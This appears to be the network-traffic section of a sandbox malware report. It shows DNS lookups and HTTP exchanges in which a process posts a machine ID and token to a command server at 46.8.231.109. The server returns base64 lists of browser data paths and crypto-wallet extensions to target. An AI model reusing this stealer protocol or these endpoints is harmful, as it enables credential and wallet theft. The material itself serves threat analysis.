Aug 28, 2024 22:56:06.862446070 CEST	49735	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.862452030 CEST	443	49735	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.906944036 CEST	49736	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.906970978 CEST	443	49736	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.907058001 CEST	49736	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.907399893 CEST	49736	443	192.168.2.7	172.67.146.35
Aug 28, 2024 22:56:06.907414913 CEST	443	49736	172.67.146.35	192.168.2.7
Aug 28, 2024 22:56:06.921144009 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921219110 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921228886 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921242952 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921262026 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921273947 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921284914 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921289921 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921317101 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921324968 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921336889 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921348095 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921351910 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921360970 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921382904 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921410084 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921420097 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921431065 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921441078 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921452999 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921463966 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921479940 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921536922 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921545982 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921557903 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921566963 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921577930 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921592951 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921611071 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921612024 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921632051 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921638012 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921643972 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921653032 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921658993 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921669960 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921680927 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921704054 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921706915 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921716928 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921729088 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921740055 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921741962 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921757936 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921763897 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921777010 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921783924 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921789885 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921802998 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921822071 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921849012 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921859980 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921870947 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921880007 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921904087 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921904087 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921921968 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921925068 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921933889 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921946049 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.921953917 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921968937 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.921999931 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922012091 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922044039 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922068119 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922085047 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922095060 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922106028 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922107935 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922126055 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922130108 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922138929 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922157049 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922164917 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922169924 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922183037 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922188997 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922194958 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922219992 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922243118 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922314882 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922339916 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922352076 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922360897 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922374964 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922396898 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922424078 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922435999 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922451973 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922462940 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922465086 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922476053 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922482967 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922508955 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922533035 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922545910 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922559023 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922569036 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922580004 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922588110 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922590971 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922607899 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922620058 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922626019 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922641039 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922660112 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922671080 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922671080 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922683001 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922703028 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922727108 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922847986 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922859907 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922869921 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922893047 CEST	49734	80	192.168.2.7	147.45.44.104
Aug 28, 2024 22:56:06.922904015 CEST	80	49734	147.45.44.104	192.168.2.7
Aug 28, 2024 22:56:06.922914982 CEST	49734	80	192.168.2.7	147.45.44.104

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 22:55:15.918442965 CEST	192.168.2.7	1.1.1.1	0x8883	Standard query (0)	condedqpwqm.shop	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:55:46.325855017 CEST	192.168.2.7	1.1.1.1	0xefb0	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:56:08.431967020 CEST	192.168.2.7	1.1.1.1	0x8ffb	Standard query (0)	stadiatechnologies.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 22:55:15.931791067 CEST	1.1.1.1	192.168.2.7	0x8883	No error (0)	condedqpwqm.shop	172.67.146.35	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:55:15.931791067 CEST	1.1.1.1	192.168.2.7	0x8883	No error (0)	condedqpwqm.shop	104.21.10.172	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:55:46.332550049 CEST	1.1.1.1	192.168.2.7	0xefb0	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:56:08.686551094 CEST	1.1.1.1	192.168.2.7	0x8ffb	No error (0)	stadiatechnologies.com	95.164.119.162	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	46.8.231.109	80	7492	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 22:55:03.185312033 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:03.862325907 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 22:55:03.876543999 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 44 31 45 33 34 31 42 31 37 41 32 39 37 34 31 36 34 32 35 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="hwid"07D1E341B17A2974164258------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="build"default------AAEBAFBGIDHCBFHIECFC--
Aug 28, 2024 22:55:04.718045950 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 45 7a 4d 7a 4d 35 5a 47 4d 30 5a 57 51 7a 4d 6a 45 35 5a 44 41 79 4e 44 68 69 59 32 59 30 59 32 51 34 59 57 5a 6b 5a 54 4a 6c 4f 54 56 6d 4f 54 56 69 59 6a 64 6d 5a 44 45 35 5a 54 49 77 4d 44 68 6d 59 6a 67 7a 5a 54 59 78 4d 44 42 68 4d 32 49 79 59 7a 6b 34 59 54 4a 68 5a 6d 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODEzMzM5ZGM0ZWQzMjE5ZDAyNDhiY2Y0Y2Q4YWZkZTJlOTVmOTViYjdmZDE5ZTIwMDhmYjgzZTYxMDBhM2IyYzk4YTJhZmQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 28, 2024 22:55:04.719434977 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 2d 2d 0d 0a Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="message"browsers------DBFIEHDHIIIECAAKECFH--
Aug 28, 2024 22:55:04.902872086 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 28, 2024 22:55:04.902899027 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 28, 2024 22:55:04.904253006 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDB Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 33 33 33 39 64 63 34 65 64 33 32 31 39 64 30 32 34 38 62 63 66 34 63 64 38 61 66 64 65 32 65 39 35 66 39 35 62 62 37 66 64 31 39 65 32 30 30 38 66 62 38 33 65 36 31 30 30 61 33 62 32 63 39 38 61 32 61 66 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"813339dc4ed3219d0248bcf4cd8afde2e95f95bb7fd19e2008fb83e6100a3b2c98a2afd0------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="message"plugins------KKJDGDHIDBGIECBGHJDB--
Aug 28, 2024 22:55:05.086230040 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 28, 2024 22:55:05.086260080 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
